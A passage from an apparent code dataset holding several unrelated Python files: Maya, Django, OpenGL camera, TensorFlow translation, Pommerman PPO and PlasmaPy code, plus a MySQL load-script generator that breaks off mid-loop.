'Arthur|http://wingedwhitetiger.com/'\n\nimport maya.cmds as mc\n\nfrom pipelineLib import mayaConnect\nreload(mayaConnect)\n\n\ndef main():\n sel_list = mc.ls(sl=True)\n combine_type = None\n for i in sel_list:\n type_name = mc.nodeType(i)\n if combine_type is None:\n combine_type = type_name\n if type_name != combine_type:\n sel_list.remove(i)\n\n if not not len(sel_list):\n source_connect = mayaConnect.get_connections(sel_list[0])\n for i in sel_list[1:]:\n plugin_connect = mayaConnect.get_connections(i)\n for key, value in plugin_connect.iteritems():\n if key in source_connect:\n mayaConnect.connect_form_to(source_connect[key][0], value[1])\n\n\nif __name__ == \"__main__\":\n pass\n\n","sub_path":"WitToolkit/Maya/2017/scripts/python/toolkitTool/combineNode.py","file_name":"combineNode.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"582444978","text":"from django.core.management import BaseCommand\n\nfrom ...models import News\n\n\nclass Command(BaseCommand):\n elastic_recreate_for_model = {\n 'News': News.es.recreate\n }\n help = 'example ./manage.py create_elastic_index News'\n\n def add_arguments(self, parser):\n parser.add_argument('model', nargs=1)\n\n def handle(self, *args, **options):\n model = options['model'][0]\n self.stdout.write('Flush index elasticsearch for model {}'.format(model))\n recreate = self.elastic_recreate_for_model.get(model)\n if not recreate:\n raise Exception\n\n recreate()\n self.stdout.write(self.style.SUCCESS('Success flush index elasticsearch '\n 'for model {}'.format(model)))\n","sub_path":"test_project/test_app/management/commands/create_elastic_index.py","file_name":"create_elastic_index.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"258324966","text":"# Python imports\nimport sys\nimport numpy as np\nimport logging\n\n# OpenCV imports\nimport cv2\nimport cv2.cv as cv\n\n# OpenGL imports\nfrom OpenGL.GL import *\nfrom OpenGL.arrays import vbo\nimport glfw\n\n# Globals\n# NOTE: glBlitFramebuffer() doesn't play well if source and destination sizes are different, so keep these same\nwindowWidth, windowHeight = (640, 480)\ncameraWidth, cameraHeight = (640, 480)\n\n\nclass GLCameraViewer:\n \"\"\"Simple OpenCV frame processor that renders live camera images using OpenGL 3.2 Core Profile.\"\"\"\n \n def __init__(self, camera, isVideo=False, loopVideo=False):\n self.camera = camera\n self.isVideo = isVideo\n self.loopVideo = loopVideo\n self.frameCount = 0\n \n # * Acquire logger instance\n self.logger = logging.getLogger(self.__class__.__name__)\n \n # * Set camera frame size (if this is a live camera), or read num frames (if video)\n if not self.isVideo:\n #_, self.imageIn = self.camera.read() # pre-grab\n # NOTE: If camera frame size is not one supported by the hardware, grabbed images are scaled to desired size, discarding aspect-ratio\n self.camera.set(cv.CV_CAP_PROP_FRAME_WIDTH, cameraWidth)\n self.camera.set(cv.CV_CAP_PROP_FRAME_HEIGHT, cameraHeight)\n \n # * Grab test image and read some properties\n _, self.imageIn = self.camera.read() # post-grab (to apply any camera prop changes made)\n self.frameCount += 1\n self.logger.info(\"Camera size: {}x{}\".format(int(self.camera.get(cv.CV_CAP_PROP_FRAME_WIDTH)), int(self.camera.get(cv.CV_CAP_PROP_FRAME_HEIGHT))))\n self.imageSize = (self.imageIn.shape[1], self.imageIn.shape[0])\n self.imageWidth, self.imageHeight = self.imageSize\n self.logger.info(\"Image size : {}x{}\".format(self.imageWidth, self.imageHeight))\n if self.isVideo:\n self.numVideoFrames = int(self.camera.get(cv.CV_CAP_PROP_FRAME_COUNT))\n self.logger.info(\"Video file with {} frames\".format(self.numVideoFrames))\n \n self.isOkay = True # all good, so far\n \n # * Initialize OpenGL texture and framebuffer used to render camera images\n # NOTE: A valid OpenGL context must available at this point\n self.texOutId = glGenTextures(1)\n glBindTexture(GL_TEXTURE_2D, self.texOutId)\n #glPixelStorei(GL_UNPACK_ALIGNMENT, 1) # image data is not padded (?)\n glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR) # GL_NEAREST\n glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR) # GL_NEAREST\n glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE) # GL_REPEAT\n glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE) # GL_REPEAT\n \n self.framebufferId = glGenFramebuffers(1)\n glBindFramebuffer(GL_DRAW_FRAMEBUFFER, self.framebufferId)\n glFramebufferTexture2D(GL_DRAW_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, self.texOutId, 0)\n glBindFramebuffer(GL_DRAW_FRAMEBUFFER, 0)\n \n # * Other parameters\n # ** Create a random rectangular lens for some sample image processing\n self.lensWidth, self.lensHeight = (128, 128)\n self.lensX, self.lensY = (np.random.randint(self.imageWidth - 100), np.random.randint(self.imageHeight - 100))\n self.lensVelX, self.lensVelY = (np.random.randint(-3, 3) * 2, np.random.randint(-3, 3) * 2)\n if self.lensVelX == 0: self.lensVelX = 2\n if self.lensVelY == 0: self.lensVelY = 2\n \n def capture(self):\n if self.isVideo and self.loopVideo and self.frameCount >= self.numVideoFrames:\n self.camera.set(cv.CV_CAP_PROP_POS_FRAMES, 0)\n self.frameCount = 0\n self.logger.debug(\"Video reset...\")\n # TODO Figure out what's causing the off-by-ten bug (after a reset, the last 10-11 frames cannot be read anymore!)\n \n self.isOkay, self.imageIn = self.camera.read()\n self.frameCount += 1\n #print \"GLCameraViewer.capture(): [Okay? {}] Frame #{} ({}) of {} ({})\".format(self.isOkay, self.frameCount, int(self.camera.get(cv.CV_CAP_PROP_POS_FRAMES)), self.numVideoFrames, int(self.camera.get(cv.CV_CAP_PROP_FRAME_COUNT)))\n \n def process(self):\n if not self.isOkay:\n #print \"GLCameraViewer.process(): Something not okay! Frame #{} ({}) of {} ({})\".format(self.frameCount, int(self.camera.get(cv.CV_CAP_PROP_POS_FRAMES)), self.numVideoFrames, int(self.camera.get(cv.CV_CAP_PROP_FRAME_COUNT)))\n return\n \n # Some sample image processing - just for fun!\n #self.imageOut = self.imageIn # shallow copy\n self.imageOut = self.imageIn.copy() # deep copy\n \n imageHSV = cv2.cvtColor(self.imageIn, cv2.COLOR_BGR2HSV) # convert to HSV\n self.imageOut[self.lensY:self.lensY+self.lensHeight, self.lensX:self.lensX+self.lensWidth] = imageHSV[self.lensY:self.lensY+self.lensHeight, self.lensX:self.lensX+self.lensWidth] # copy HSV image to within lens rectangle\n # Move lens and make it bounce\n self.lensX += self.lensVelX\n self.lensY += self.lensVelY\n if self.lensX <= 0:\n self.lensX = 0\n self.lensVelX = -self.lensVelX\n elif self.lensX >= (self.imageWidth - self.lensWidth - 1):\n self.lensX = self.imageWidth - self.lensWidth - 1\n self.lensVelX = -self.lensVelX\n if self.lensY <= 0:\n self.lensY = 0\n self.lensVelY = -self.lensVelY\n elif self.lensY >= (self.imageHeight - self.lensHeight - 1):\n self.lensY = self.imageHeight - self.lensHeight - 1\n self.lensVelY = -self.lensVelY\n \n def render(self):\n try:\n self.imageOut = cv2.flip(self.imageOut, 0) # flip OpenCV image vertically to match OpenGL convention (necessary on Windows because of glBlitFramebuffer problem; avoid if possible)\n \n glBindTexture(GL_TEXTURE_2D, self.texOutId)\n glTexImage2D(GL_TEXTURE_2D, 0, GL_RGB, self.imageWidth, self.imageHeight, 0, GL_BGR, GL_UNSIGNED_BYTE, self.imageOut)\n \n glBindFramebuffer(GL_READ_FRAMEBUFFER, self.framebufferId)\n # TODO Fix glBlitFramebuffer() problem on Windows, or use an alternate method to draw CV image\n #glBlitFramebuffer(\n # 0, 0, self.imageWidth, self.imageHeight, # source rect\n # 0, windowHeight, windowWidth, 0, # destination rect (NOTE: Y is flipped)\n # GL_COLOR_BUFFER_BIT, GL_LINEAR) # NOTE trying to flip while blitting doesn't work on Windows\n \n glBlitFramebuffer(\n 0, 0, self.imageWidth, self.imageHeight, # source rect\n 0, 0, windowWidth, windowHeight, # destination rect\n GL_COLOR_BUFFER_BIT, GL_LINEAR) # direct blit without any flipping works on Windows\n \n glBindFramebuffer(GL_READ_FRAMEBUFFER, 0)\n glBindTexture(GL_TEXTURE_2D, 0)\n except GLError as e:\n self.logger.error(repr(e)) # print str(e) for more details, or don't catch this error to break out\n cv2.imshow(\"Camera Image\", self.imageOut) # optional, so that we can verify OpenCV is working\n \n def cleanUp(self):\n if bool(glDeleteFramebuffers):\n glDeleteFramebuffers([self.framebufferId])\n glDeleteTextures([self.texOutId])\n\n\ndef main():\n # * Initialize graphics subsystem\n initGraphics()\n \n # * Open camera and create GLCameraViewer instance\n camera = cv2.VideoCapture(0) # NOTE: Live camera can be substituted with recorded video here\n cameraViewer = GLCameraViewer(camera)\n \n # * Main GLFW loop\n while glfw.GetWindowParam(glfw.OPENED):\n # ** Handle events\n glfw.PollEvents()\n if glfw.GetKey(glfw.KEY_ESC):\n break\n \n # ** Run cameraViewer through one iteration of processing\n cameraViewer.capture()\n cameraViewer.process()\n \n # ** Clear current output and render\n glClear(GL_COLOR_BUFFER_BIT)\n cameraViewer.render()\n \n # ** Present rendered output\n glfw.SwapBuffers()\n \n # * Clean up\n cameraViewer.cleanUp()\n camera.release()\n glfw.Terminate()\n\n\ndef initGraphics():\n # * Initialize GLFW and create OpenGL context\n glfw.Init()\n glfw.OpenWindowHint(glfw.FSAA_SAMPLES, 4)\n glfw.OpenWindowHint(glfw.OPENGL_VERSION_MAJOR, 3)\n glfw.OpenWindowHint(glfw.OPENGL_VERSION_MINOR, 2)\n glfw.OpenWindowHint(glfw.OPENGL_PROFILE, glfw.OPENGL_CORE_PROFILE)\n #glfw.OpenWindowHint(glfw.OPENGL_FORWARD_COMPAT, GL_TRUE)\n glfw.OpenWindowHint(glfw.WINDOW_NO_RESIZE, GL_TRUE)\n glfw.OpenWindow(windowWidth, windowHeight, 0, 0, 0, 0, 0, 0, glfw.WINDOW)\n glfw.SetWindowTitle(\"GL Camera Viewer\".format(OpenGL=glGetString(GL_VERSION), GLSL=glGetString(GL_SHADING_LANGUAGE_VERSION)))\n glfw.Disable(glfw.AUTO_POLL_EVENTS)\n glfw.Enable(glfw.KEY_REPEAT)\n \n logging.info(\"OpenGL version: %s\", glGetString(GL_VERSION)) # glfw.GetGLVersion()\n logging.info(\"GLSL version : %s\", glGetString(GL_SHADING_LANGUAGE_VERSION))\n logging.info(\"Renderer : %s\", glGetString(GL_RENDERER))\n logging.info(\"Vendor : %s\", glGetString(GL_VENDOR))\n logging.info(\"Window size : {}x{}\".format(windowWidth, windowHeight))\n \n # * Initialize OpenGL parameters\n glClearColor(0.0, 0.0, 0.0, 1.0)\n\n\ndef printShaderInfoLog(obj):\n infoLogLength = glGetShaderiv(obj, GL_INFO_LOG_LENGTH)\n \n if infoLogLength > 1:\n info = glGetShaderInfoLog(obj)\n print >> sys.stderr, info\n\n\ndef printProgramInfoLog(obj):\n infoLogLength = glGetProgramiv(obj, GL_INFO_LOG_LENGTH)\n \n if infoLogLength > 1:\n info = glGetProgramInfoLog(obj)\n print >> sys.stderr, info\n\n\nif __name__ == '__main__':\n # Set up a simple logging scheme for standalone operation\n logging.basicConfig(format=\"%(levelname)s | %(module)s | %(funcName)s() | %(message)s\", level=logging.DEBUG)\n main()\n","sub_path":"CAPTIVE/pyTANG/tang/vision/GLCameraViewer.py","file_name":"GLCameraViewer.py","file_ext":"py","file_size_in_byte":9426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"375309324","text":"from django.shortcuts import render_to_response\nfrom django.http import HttpResponseRedirect\nfrom django.core.mail import send_mail\nfrom django.template import RequestContext\n\nfrom main.models import ContactForm\n\n\ndef home(request):\n \"\"\"\n Renders Home page.\n \"\"\"\n return render_to_response('base_home.html')\n\n\ndef contact(request):\n \"\"\"\n Handles emails' sending process and final redirection.\n \"\"\"\n if request.method == 'POST': # If the form has been submitted...\n form = ContactForm(request.POST) # A form bound to the POST data\n if form.is_valid(): # All validation rules pass\n # Process the data in form.cleaned_data\n subject = form.cleaned_data['subject']\n message = form.cleaned_data['message']\n sender = form.cleaned_data['sender']\n recipients = ['javidgon@gmail.com']\n\n send_mail(subject, sender + \" says... \" + message, sender,\n recipients)\n return HttpResponseRedirect('/thanks/') # Redirect after POST\n else:\n form = ContactForm() # An unbound form\n return render_to_response('base_contact.html',\n RequestContext(request, {'form': form}))\n\n\ndef projects(request):\n \"\"\"\n Renders Projects page.\n \"\"\"\n return render_to_response('base_projects.html')\n","sub_path":"main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"367624581","text":"# -*- coding: utf-8 -*-\n# @Time : 2021/6/1 18:39 \n# @Author : lishouxian\n# @Email : gzlishouxian@gmail.com\n# @File : data.py \n# @Software: PyCharm\nimport tensorflow as tf\nimport pandas as pd\nimport os\nfrom sklearn.model_selection import train_test_split\nfrom tqdm import tqdm\nfrom config import configs\nfrom engines.utils.translation_utils import preprocess_sentence\n\n\nclass TranslationDataManager:\n\n def __init__(self, logger):\n self.logger = logger\n self.token_dir = configs['token_dir']\n self.data_path = configs['data_path']\n\n self.PADDING = '[pad]'\n self.UNKNOWN = '[unk]'\n\n self.origin_vocab_size = 0\n self.target_vocab_size = 0\n\n self.origin_max_len = 0\n self.target_max_len = 0\n\n self.origin_token2id, self.origin_id2token = {}, {}\n self.target_token2id, self.target_id2token = {}, {}\n\n if not os.path.isfile(self.token_dir + '/origin_token2id'):\n self.logger.info('vocab files not exist...')\n else:\n self.origin_token2id, self.origin_id2token, self.origin_vocab_size, self.origin_max_len = \\\n self.load_vocab('origin')\n self.target_token2id, self.target_id2token, self.target_vocab_size, self.target_max_len = \\\n self.load_vocab('target')\n\n def load_vocab(self, name):\n token2id, id2token = {}, {}\n with open(self.token_dir + '/' + name + '_token2id', 'r', encoding='utf-8') as infile:\n for row in infile:\n row = row.strip()\n token, token_id = row.split('\\t')[0], int(row.split('\\t')[1])\n token2id[token] = token_id\n id2token[token_id] = token\n vocab_size = len(token2id)\n # 加载语料最大长度\n with open(self.token_dir + '/' + name + '_max_lens', 'r', encoding='utf-8') as file:\n max_lens = file.read()\n return token2id, id2token, vocab_size, max_lens\n\n def tokenize(self, sentences, name):\n tokenizer = tf.keras.preprocessing.text.Tokenizer(filters='')\n tokenizer.fit_on_texts(sentences)\n token2id = tokenizer.word_index\n token2id[self.PADDING] = 0\n id2token = tokenizer.index_word\n id2token[0] = self.PADDING\n vocab_size = len(id2token)\n # 保存词表及标签表\n with open(self.token_dir + '/' + name + '_token2id', 'w', encoding='utf-8') as outfile:\n for token, token_id in tqdm(token2id.items()):\n outfile.write(token + '\\t' + str(token_id) + '\\n')\n tensor = tokenizer.texts_to_sequences(sentences)\n tensor = tf.keras.preprocessing.sequence.pad_sequences(tensor, padding='post')\n max_len = int(tf.shape(tensor)[-1])\n # 保存语料最大长度\n with open(self.token_dir + '/' + name + '_max_lens', 'w', encoding='utf-8') as outfile:\n outfile.write(str(max_len))\n return tensor, vocab_size, token2id, id2token, max_len\n\n def get_dataset(self):\n dataset = pd.read_csv(self.data_path, encoding='utf-8')[:30000]\n origin_lang_type = configs['origin_lang_type']\n target_lang_type = configs['target_lang_type']\n dataset['origin'] = dataset.origin.apply(lambda lang: preprocess_sentence(lang, origin_lang_type))\n origin_tensor, self.origin_vocab_size, self.origin_token2id, self.origin_id2token, self.origin_max_len = \\\n self.tokenize(dataset['origin'], 'origin')\n dataset['target'] = dataset.target.apply(lambda lang: preprocess_sentence(lang, target_lang_type))\n target_tensor, self.target_vocab_size, self.target_token2id, self.target_id2token, self.target_max_len = \\\n self.tokenize(dataset['target'], 'target')\n origin_tensor_train, origin_tensor_val, target_tensor_train, target_tensor_val = train_test_split(\n origin_tensor, target_tensor, test_size=0.2)\n dataset = tf.data.Dataset.from_tensor_slices((origin_tensor_train, target_tensor_train))\n return dataset\n","sub_path":"engines/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":4018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"64213278","text":"#!/usr/bin/python3\n''' collect info on an employee of a given id and save to JSON file '''\nimport requests\nfrom sys import argv\nimport json\n\n\nif __name__ == '__main__':\n user_id = int(argv[1])\n user = requests.get('https://jsonplaceholder.typicode.com/' +\n 'users/{}'.format(user_id))\n name = user.json().get('name')\n info = requests.get('https://jsonplaceholder.typicode.com/todos/').json()\n json_dict = {user_id: []}\n for task in info:\n if task.get('userId') == user_id:\n json_dict[user_id].append({'task': task.get('title'),\n 'completed': task.get('completed'),\n 'username': name})\n with open('{}.json'.format(user_id), 'w') as f:\n json.dump(json_dict, f)\n","sub_path":"0x15-api/2-export_to_JSON.py","file_name":"2-export_to_JSON.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"121445053","text":"# Python Object-Oriented Programming\n\n# Regular method automatically passes the instance as the first argument(self)\n# Class method automatically passes Class as the first argument(cls)\n# static method doesnt pass anything when created\nclass Employee:\n num_of_emps = 0\n raise_amount = 1.04\n #it's like a consructor on other languages\n def __init__(self, first, last, pay):\n self.first = first\n self.last = last\n self.pay = pay\n self.email = first+'.'+last+'@company.com'\n\n Employee.num_of_emps +=1\n\n def fullname(self):\n return '{} {}'.format(self.first, self.last)\n \n def apply_raise(self):\n self.pay= int(self.pay * self.raise_amount)\n\n @classmethod\n def set_raise_amt(cls, amount):\n cls.raise_amount = amount\n @classmethod\n def from_string(cls, emp_string):\n first , last, pay = emp_string.split('-')\n return cls(first, last, pay)\n \n @staticmethod\n def is_workday(day):\n if day.weekday()==5 or day.weekday()==6:\n return False\n return True\n\nemp1 = Employee('Corey','Schafer',50000)\nemp2 = Employee('Fatih','Fikri',50000)\n\n\nimport datetime\nmy_date = datetime.date(2016, 7,11)\nprint(Employee.is_workday(my_date))\n#emp_str_1 = 'John-Doe-70000'\n#emp_str_2 = 'Steve-Smith-30000'\n#emp_str_3 = 'Jane-Doe-90000'\n\n\n#new_emp_1 = Employee.from_string(emp_str_1)\n#print(new_emp_1.email)\n#rint(new_emp_1.pay)\n\n\n\n#Employee.set_raise_amt(1.05) # equals to Employee.raise_amt = 1.05\n\n#regular method, class method and static method\n\n#print(Employee.raise_amount)\n#print(emp1.raise_amount)\n#print(emp2.raise_amount)","sub_path":"oop3.py","file_name":"oop3.py","file_ext":"py","file_size_in_byte":1637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"181921579","text":"import numpy as np\nimport os\nimport shutil\n\nfrom pommerman.envs.v0 import Pomme\nfrom pommerman.agents import SimpleAgent, BaseAgent\nfrom pommerman.configs import ffa_v0_env\nfrom pommerman.constants import BOARD_SIZE, GameType\nfrom tensorforce.agents import PPOAgent\nfrom tensorforce.execution import Runner\nfrom tensorforce.contrib.openai_gym import OpenAIGym\n\nnum_episodes = 100\nbatching_capacity = 100000\nsave_seconds = 300\nmain_dir = './ppo/'\nlog_path = main_dir + 'logs/'\nmodel_path = main_dir + 'model'\n\nif not os.path.isdir(main_dir):\n os.mkdir(main_dir)\nif os.path.isdir(log_path):\n shutil.rmtree(log_path, ignore_errors=True)\nos.mkdir(log_path)\n\n# Instantiate the environment\nconfig = ffa_v0_env()\nenv = Pomme(**config[\"env_kwargs\"])\nenv.seed(0)\n\n# Create a Proximal Policy Optimization agent\nnetwork = dict(type='rl_agent.pomm_network.PommNetwork')\nstates = {\n \"board\": dict(shape=(BOARD_SIZE, BOARD_SIZE, 3, ), type='float'),\n \"state\": dict(shape=(3,), type='float')\n}\nsaver = {\n \"directory\": model_path,\n \"seconds\": save_seconds,\n \"load\": os.path.isdir(model_path)\n}\nagent = PPOAgent(\n states=states,\n actions=dict(type='int', num_actions=env.action_space.n),\n network=network,\n batching_capacity=batching_capacity,\n step_optimizer=dict(\n type='adam',\n learning_rate=1e-4\n ),\n saver=saver\n)\n\nclass TensorforceAgent(BaseAgent):\n def act(self, obs, action_space):\n pass\n# Add 3 random agents\nagents = []\nfor agent_id in range(3):\n agents.append(SimpleAgent(config[\"agent\"](agent_id, config[\"game_type\"])))\n\n# Add TensorforceAgent\nagent_id += 1\nagents.append(TensorforceAgent(config[\"agent\"](agent_id, config[\"game_type\"])))\nenv.set_agents(agents)\nenv.set_training_agent(agents[-1].agent_id)\nenv.set_init_game_state(None)\n\n\nclass WrappedEnv(OpenAIGym):\n def __init__(self, gym, visualize=False):\n self.gym = gym\n self.visualize = visualize\n\n def execute(self, actions):\n if self.visualize:\n self.gym.render()\n\n obs = self.gym.get_observations()\n all_actions = self.gym.act(obs)\n all_actions.insert(self.gym.training_agent, actions)\n state, reward, terminal, _ = self.gym.step(all_actions)\n agent_state = WrappedEnv.featurize(state[self.gym.training_agent])\n agent_reward = reward[self.gym.training_agent]\n # If nobody die, use some \"smart\" reward\n if agent_reward == 0:\n agent_reward = self.gym.train_reward\n return agent_state, terminal, agent_reward\n\n def reset(self):\n obs = self.gym.reset()\n agent_obs = WrappedEnv.featurize(obs[3])\n return agent_obs\n\n @staticmethod\n def featurize(obs):\n def get_matrix(dict, key):\n res = dict[key]\n return res.reshape(res.shape[0], res.shape[1], 1).astype(np.float32)\n\n board = get_matrix(obs, 'board')\n teammate_position = None\n teammate = obs[\"teammate\"]\n if teammate is not None:\n teammate = teammate.value\n if teammate > 10 and teammate < 15:\n teammate_position = np.argwhere(board == teammate)[0]\n else:\n teammate = None\n # My self - 11\n # Team mate - 12\n # Enemy - 13\n\n # Everyone enemy\n board[(board > 10) & (board < 15)] = 13\n # I'm not enemy\n my_position = obs['position']\n board[my_position[0], my_position[1], 0] = 11\n # Set teammate\n if teammate_position is not None:\n board[teammate_position[0], teammate_position[1], teammate_position[2]] = 12\n\n bomb_blast_strength = get_matrix(obs, 'bomb_blast_strength')\n bomb_life = get_matrix(obs, 'bomb_life')\n conv_inp = np.concatenate([board, bomb_blast_strength, bomb_life], axis=2)\n state = np.array([obs[\"ammo\"], obs[\"blast_strength\"], obs[\"can_kick\"]]).astype(np.float32)\n return dict(board=conv_inp, state=state)\n\n\ndef episode_finished(r):\n if r.episode % 10 == 0:\n print(\"Finished episode {ep} after {ts} timesteps\".format(ep=r.episode + 1, ts = r.timestep + 1))\n print(\"Episode reward: {}\".format(r.episode_rewards[-1]))\n print(\"Average of last 10 rewards: {}\".format(np.mean(r.episode_rewards[10:])))\n return True\n\n# Instantiate and run the environment for 5 episodes.\nwrapped_env = WrappedEnv(env, False)\nrunner = Runner(agent=agent, environment=wrapped_env)\nrunner.run(num_episodes=num_episodes, episode_finished=episode_finished, max_episode_timesteps=env._max_steps)\nprint(\"Stats: \", runner.episode_rewards, runner.episode_timesteps, runner.episode_times)\n\ntry:\n runner.close()\nexcept AttributeError as e:\n pass","sub_path":"rl_agent/ppo.py","file_name":"ppo.py","file_ext":"py","file_size_in_byte":4697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"391199482","text":"import unittest\nfrom imap.data.pixel_data_module import PixelDataModule\nimport torch\n\n\n# noinspection PyTypeChecker,PyUnresolvedReferences\nclass TestSevenScenesDataModule(unittest.TestCase):\n def setUp(self) -> None:\n depth_image_path = \"/media/mikhail/Data3T/7scenes/chess/seq-01/frame-000001.depth.png\"\n color_image_path = \"/media/mikhail/Data3T/7scenes/chess/seq-01/frame-000001.color.png\"\n self._data_module = PixelDataModule(color_image_path, depth_image_path)\n\n def test_load(self):\n self.assertEqual(len(self._data_module._train_dataset), 301056)\n self.assertEqual(len(self._data_module._test_dataset), 6144)\n batches = self._data_module.train_dataloader()\n for batch in batches:\n self.assertEqual(batch[\"pixel\"].shape, torch.Size([4096, 2]))\n self.assertEqual(batch[\"color\"].shape, torch.Size([4096, 3]))\n self.assertEqual(batch[\"depth\"].shape, torch.Size([4096]))\n self.assertEqual(batch[\"camera_position\"].shape, torch.Size([4096, 4, 4]))\n break\n","sub_path":"test/test_pixel_data_module.py","file_name":"test_pixel_data_module.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"534695779","text":"\"\"\"\nContains physical and mathematical constants commonly used in plasma\nphysics.\n\n\"\"\"\n\nfrom numpy import pi\n\nfrom astropy.constants.si import (\n e,\n mu0,\n eps0,\n k_B,\n c,\n G,\n h,\n hbar,\n m_p,\n m_n,\n m_e,\n u,\n sigma_sb,\n N_A,\n R,\n Ryd,\n a0,\n muB,\n sigma_T,\n au,\n pc,\n kpc,\n g0,\n L_sun,\n M_sun,\n R_sun,\n M_earth,\n R_earth,\n)\n\nfrom astropy.constants import atm\n\n# The following code is modified from astropy.constants to produce a\n# table containing information on the constants contained with PlasmaPy.\n# Mathematical constants can be just entered.\n\n_lines = [\n 'The following constants are available:\\n',\n '========== ================= ================ ============================================',\n 'Name Value Units Description',\n '========== ================= ================ ============================================',\n \" pi 3.141592653589793 Ratio of circumference to diameter of circle\",\n]\n\n_constants = [eval(item) for item in dir() if item[0] != '_' and item != 'pi']\nfor _const in _constants:\n _lines.append('{0:^10} {1:^17.12g} {2:^16} {3}'\n .format(_const.abbrev, _const.value, _const._unit_string, _const.name))\n\n_lines.append(_lines[1])\n\n__doc__ += '\\n'.join(_lines)\n\ndel _lines, _const, _constants\n","sub_path":"plasmapy/constants/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"517362410","text":"\n\n#calss header\nclass _FAKE():\n\tdef __init__(self,): \n\t\tself.name = \"FAKE\"\n\t\tself.definitions = [u'to pretend that you have a feeling or illness: ', u'to make an object look real or valuable in order to deceive people: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'verbs'\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/verbs/_fake.py","file_name":"_fake.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"154877299","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Apr 2 10:47:28 2020\n\n@author: guill\n\"\"\"\n\nimport mysql.connector\nimport numpy as np\n\ndef validElem(elem):\n result = False\n if(elem != \"community\"):\n if(elem != \"camp\"):\n if(elem != \"country\"):\n if(elem.find(\"_has_\") == -1):\n if(elem != \"hostcommunity\"):\n if(elem != \"g_publicpolitic\"):\n if(elem != \"inf_irrigationsystem\"):\n if(elem!= \"inf_mobilityinfrastructure\"):\n if(elem != \"s_healthcenterservice\"):\n if(elem != \"u_landuse\"):\n if(elem != \"u_publicspace\"):\n result = True\n return result\n\ndef validNMTable(elem):\n result = False\n if(elem.find(\"_has_\") != -1):\n if(elem != \"hostcommunity_has_camp\"):\n if(elem != \"s_subject_has_s_educationalcenter\"):\n if(elem != \"inf_expandplanbeneficiaries_has_inf_energyinfrastructure\"):\n result = True\n return result\n\ndef validColumn(column):\n result = False\n if(column[0] != \" \"):\n if(column[0] != \"Camp_idCamp\"):\n if(column[0] != \"Country_idCountry\"):\n result = True\n return result\n \n \nmydb = mysql.connector.connect(\n port = 3309,\n host=\"127.0.0.1\",\n user=\"root\",\n passwd=\"\",\n database = 'nautiatoolkit'\n)\ncursor = mydb.cursor()\n\nquery1 = \"LOAD DATA INFILE 'C:/Users/guill/Documents/Universidad/PlataformaRefugiados/NAUTIA/DesarrolloPy/DataSetFinales/\"\nquery2 = \"INTO TABLE\" \nquery3 = \"FIELDS TERMINATED BY ','\"\nquery4 = \"LINES TERMINATED BY '\\\\n'\"\nf = open('LoadDataCamp.sql','w+')\ng = open('NMtablesCamp.csv','w+')\n\nf.write(\"SET FOREIGN_KEY_CHECKS=0;\\n\")\nf.write(\"SET SQL_SAFE_UPDATES = 0;\\n\")\nf.write(\"SET @OLD_SQL_MODE=@@SQL_MODE, sql_mode='NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION';\\n\\n\")\n\nf.write(query1+\"community.csv'\\n\"+query2+\" community\\n\"+query3+\"\\n\"+query4+\"\\n\")\nf.write(\" (@Name)\\n\")\nf.write(\"SET Name = NULLIF(@Name,'');\\n\")\nf.write(\"SET @CommunityID = (SELECT idCommunity FROM community ORDER BY idCommunity DESC LIMIT 1);\\n\\n\")\n\nf.write(query1+\"camp.csv'\\n\"+query2+\" camp\\n\"+query3+\"\\n\"+query4+\"\\n\")\nf.write(\" (@StabilisationDate,@MigrationRate)\\n\")\nf.write(\"SET StabilisationDate = NULLIF(@StabilisationDate,''),\\n MigrationRate = NULLIF(@MigrationRate,'');\\n\")\nf.write(\"SET @campID = (SELECT idCamp FROM camp ORDER BY idCamp DESC LIMIT 1);\\n\\n\")\n\nf.write(query1+\"Country.csv'\\n\"+query2+\" Country\\n\"+query3+\"\\n\"+query4+\"\\n\")\nf.write(\" (@CountryName)\\n\")\nf.write(\"SET CountryName = NULLIF(@CountryName,'');\\n\")\nf.write(\"SET @CountryID = (SELECT idCountry FROM Country ORDER BY idCountry DESC LIMIT 1);\\n\\n\")\n \ncursor.execute(\"SHOW TABLES\")\ntablesList = cursor.fetchall()\ntablesList = np.array(tablesList)\n\nfor row in tablesList:\n for elem in 